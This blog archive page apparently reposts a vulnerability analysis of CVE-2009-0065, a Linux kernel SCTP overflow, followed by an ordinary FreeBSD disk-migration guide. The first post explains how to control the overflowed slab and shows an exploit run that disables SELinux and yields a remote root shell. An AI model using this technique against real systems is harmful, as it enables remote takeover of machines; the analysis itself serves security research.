Notepad ~Angky R~ » 2009 » April

When a “potential D.o.S.” means a one-shot remote kernel exploit: the SCTP story

IT 4 Comments
Common Vulnerabilities and Exposures
http://cve.mitre.org/cgi-bi/cvename.cgi?name=CVE-2009-0065

“Buffer overflow in net/sctp/sm_statefuns.c in the Stream Control Transmission Protocol (sctp) implementation in the Linux kernel before 2.6.28-git8 allows remote attackers to have an unknown impact via an FWD-TSN (aka FORWARD-TSN) chunk with a large stream ID. ”

Ubuntu Security Notice USN-751-1
http://www.ubuntu.com/usn/usn-751-1

“The SCTP stack did not correctly validate FORWARD-TSN packets. A remote attacker could send specially crafted SCTP traffic causing a system crash, leading to a denial of service. (CVE-2009-0065)”

RedHat Security Advisory
http://rhn.redhat.com/errata/RHSA-2009-0331.html

“a buffer overflow was found in the Linux kernel Partial Reliable Stream
Control Transmission Protocol (PR-SCTP) implementation.
This could, potentially, lead to a denial of service if a Forward-TSN chunk is received
with a large stream ID. (CVE-2009-0065, Important) ”

Potentially a DoS? Unknown Impact? Really? :D

I’m wondering why kernel developers (or vendors?) continue to claim that kernel memory corruption are just Denial of Service. Most of the times they _are_ exploitable.. yes, even when the vulnerability is remotely triggered, yes.. even when the corruption takes place in a freaking slub in the middle of a kernel _heap_ .. yes even when you have kernel data pages marked NX and the kernel .text read-only and yes, absolutely yes even when you start only with a 16bit displacement…

Last month one of my customer (that has a _custom_ deployed sctp application on his network ) asked me if the vulnerability may have some impact on his systems. The answer? “Yes it does”, and since someone thinks that is not exploitable and someone else speculates over a possible locally privilege escalation only (with remote host sending TSN packet) i decided to write a completely remote exploit.

It is extremely reliable (nearly one-shot always), given that you know the target kernel. I tested it on Ubuntu 8.04 and Ubuntu 8.10
server boxes running with different kernels (ubuntu kernel for amd64) and on OpenSuse11.1 and a Fedora Core 10 (yes, extra-brownie points here, it works great on Selinux too). …

I dont want to talk about the exploit, because the code should be self explanatory, but i’d like to briefly explore the vulnerability:

From an exploit writer point of view, the most critical points are: where the memory corruption occurs, when it occurs and what type of data structures are involved. The code that triggers the overflow is on sctp_ssn_skip() in the file: /net/sctp/structs.h:

void sctp_ssn_skip(struct sctp_stream *stream, __u16 id, __u16 ssn)
{
stream->ssn[id] = ssn+1;
}

Parameter “id” is not checked and later used as an index referenced by stream->ssn pointer: a 16bit value.
We can only overwrite memory _close_ the the struct involved.

Let’s take a look at the sctp_stream structure and its stream pointer..
sctp_ssnmap_new() and sctp_ssnmap_init() function are in /net/sctp/ssnmap.c

Structures involved in streams mapping are:

struct sctp_stream {
__u16 *ssn;
unsigned int len;
};


struct sctp_ssnmap {
struct sctp_stream in;
struct sctp_stream out;
int malloced;
};

The code that allocates them is the following:

#define MAX_KMALLOC_SIZE 131072 //0×20000

size = sctp_ssnmap_size(in, out);
if (size <= MAX_KMALLOC_SIZE) retval = kmalloc(size, gfp);

If the size is under the MAX_KMALLOC_SIZE threshold the function dynamically allocates the sctp_ssnmap struct using as a parameter the number of in and out streams.
That’s good news! Manipulating sctp handshake options we can arbitrary (if the sctp application has no application-level checks on, f.e., the number of simultaneously opened SCTP streams) decide the slab that will be used to allocate the chunk.

Immediately after that, the function calls sctp_ssnmap_init() to initialize in/out stream pointers:

static struct sctp_ssnmap *sctp_ssnmap_init(struct sctp_ssnmap *map, __u16 in, __u16 out)
{
memset(map, 0×00, sctp_ssnmap_size(in, out));

/* Start ‘in’ stream just after the map header. */
map->in.ssn = (__u16 *)&map[1]; <— stream in init
map->in.len = in;

/* Start ‘out’ stream just after ‘in’. */
map->out.ssn = &map->in.ssn[in]; <— stream out init
map->out.len = out;

return map;
}

Again, good news. The stream pointers are self-contained. They point inside the previously allocated buffer, and more precisely the input stream is located exactly after the header. No kfree() will ever be called on these pointers: in other words they are a safe place to overwrite, and there’s no need to worry about post-exploitation recovery.

The last thing that may complicate a bit the exploit is a check that the kernel makes before invoking sctp_ssn_skip():

/net/sctp/ulpqueue.c: sctp_ulpk_skip() :

if (SSN_lt(ssn, sctp_ssn_peek(in, sid))) <— check
return;

/* Mark that we are no longer expecting this SSN or lower. */
sctp_ssn_skip(in, sid, ssn);

with SSN_lt():

enum {
SSN_SIGN_BIT = (1<<15)>

Strictly speaking this code checks if the value we are overwriting (the old SSN content) is greater or equal to the new value: if so it doesn’t process the FWD chunk. The comparison here is made using Serial Number Arithmetic (like the one used for protocol sequence number (eg. tcp seq number)) and can be fooled writing multiple chunks until it legally wraps around to a well known defined value.

Then, at this point, if we know the target running kernel, we can:

1) Control the slab/slub to be used
2) Overwrite a safe pointer close to the overflowing buffer
3) Easily control overwritten data..

.. in other words..
..
#./sctp_houdini -H 192.168.200.1 -P 5555 -h 192.168.200.10 -p 20000 -s 15000 -c 700 -t fedora64_10-2.6.25-117
[**] Monitoring Network for TSN/VTAG pairs..
[**] Start flushing slub cache…
[**] Using TSN/VTAG pairs: (TSN: 28022e8 <=> VTAG: 41fdd4fb) / (TSN: 8cafd3ae <=> VTAG: 1a99396c)…
[**] Overwriting neightboard sctp map..
[**] Disabling Selinux Enforcing Mode..
[**] Overwriting neightboard sctp map ……
[**] Overwriting vsyscall shadow map..
[**] Hijacking vsyscall shadow map..
[**] Waiting daemons executing gettimeofday().. this can take up to one minute…
[**] ….
[**] Connected!
[**] Restoring vsys: Emulate gettimeofday()…
uid=0(root) gid=0(root) groups=51(smmsp) context=system_u:system_r:sendmail_t:s0

GAME OVER

The exploit code can be downloaded here.

Ref:
- milis tetangga
- http://kernelbof.blogspot.com/

Thanks,
~ Angky. R ~

HOWTO: Move FreeBSD to a new hard disk

FreeBSD No Comments

Sebenarnya artikel ini dibuat untuk membantu diriku sendiri yang pelupa dan dengan sialnya hari ini, salah satu box BSD ada yang problem lantaran partisinya ngaco….errornya aja sereeeem

the following file system had an unexpected inconsistency :unknown error; help!

Nah tuh BSD nya bilang aja help, nah gw mo minta tolong sapa ya? eh mbah google kasih jawaban…nemu deh nih artikel….langsung deh kopi pasteu :D

Mari Gan….mudah-mudahan ini bisa menyelesaikan masalahnya, simak baik-baik ya :D

#!/begin/sh

This article will explain how you can move your FreeBSD installation from one hard disk drive to another. I have done this many times using the dump/restore utility. Before you begin, be sure you have read this document carefully.

Let’s assume that our FreeBSD installation is on a 4 gigabyte drive (ide master ad0) and we would like to move it to a new 20 gig drive.

What you need to do is remove the old hard disk, install the new [20G] drive as an ide master and perform a minimal clean install of FreeBSD, setting up the partitions exactly how you want them. Be se sure to set the drive as bootable and boot from it one time as a test.

Next, put your old [4G] drive back in the system as an ide master and the new [20G] drive in as an ide slave. Boot the system on your old installation in single user mode.

To boot in single user mode:

Press the [spacebar] at the 10 second countdown.

type:
boot -s
Press [enter] for the default shell.

At the (#) prompt type:
fsck -p
mount -u /
mount -a
swapon -a
adjkerntz -i

Next, make sure you have the device files made so you can mount the partitions on the slave drive.

Type:
cd /dev
./MAKEDEV ad1s1a
./MAKEDEV ad1s1e
./MAKEDEV ad1s1f

Now make mount points for the new drive’s partitions:

Type:
mkdir /backup
mkdir /backup/root
mkdir /backup/usr
mkdir /backup/var

Lastly, I use a shell script to do the following:

1 – create new filesystems (newfs the drive)
2 – mount the partitions
3 – dump the data from my old drive, and restore it to my new one
4 – unmount the new drives partitions
5 – enable softupdates on the new drive (optional)

Here is the script I use:

#!/bin/sh
newfs /dev/ad1s1a
newfs /dev/ad1s1e
newfs /dev/ad1s1f

mount /dev/ad1s1a /backup/root
mount /dev/ad1s1e /backup/var
mount /dev/ad1s1f /backup/usr

( dump -0f – / ) | ( cd /backup/root ; restore -rf – )
( dump -0f – /var ) | ( cd /backup/var ; restore -rf – )
( dump -0f – /usr ) | ( cd /backup/usr ; restore -rf – )

umount /backup/root
umount /backup/var
umount /backup/usr

tunefs -n enable /dev/ad1s1a
tunefs -n enable /dev/ad1s1e
tunefs -n enable /dev/ad1s1f

#end

It will probably take several hours to perform the dump/restore, so be patient. Once the data has been dumped and restored to the new drive, all you have to do is remove your old drive and put it in a safe place, set the new drive to a master and reboot. Your system will now boot your old FreeBSD installation on your new hard disk.

Note: You can download the drivecopy shell script by clicking on the drivecopy.tar filename located on the right sidebar of this page. Issue the command tar xvf drivecopy.tar to untar the drivecopy.sh file.

You may need to modify the drivecopy shell script if you are using custom partitions. If you had selected the standard FreeBSD partitions at install, this file will work without modification.

To learn more about dump, restore and other unix commands, please read the man pages:

man dump
man restore
man tar
man mount
man adjkerntz

#—EOF

Thanks,
~Angky R~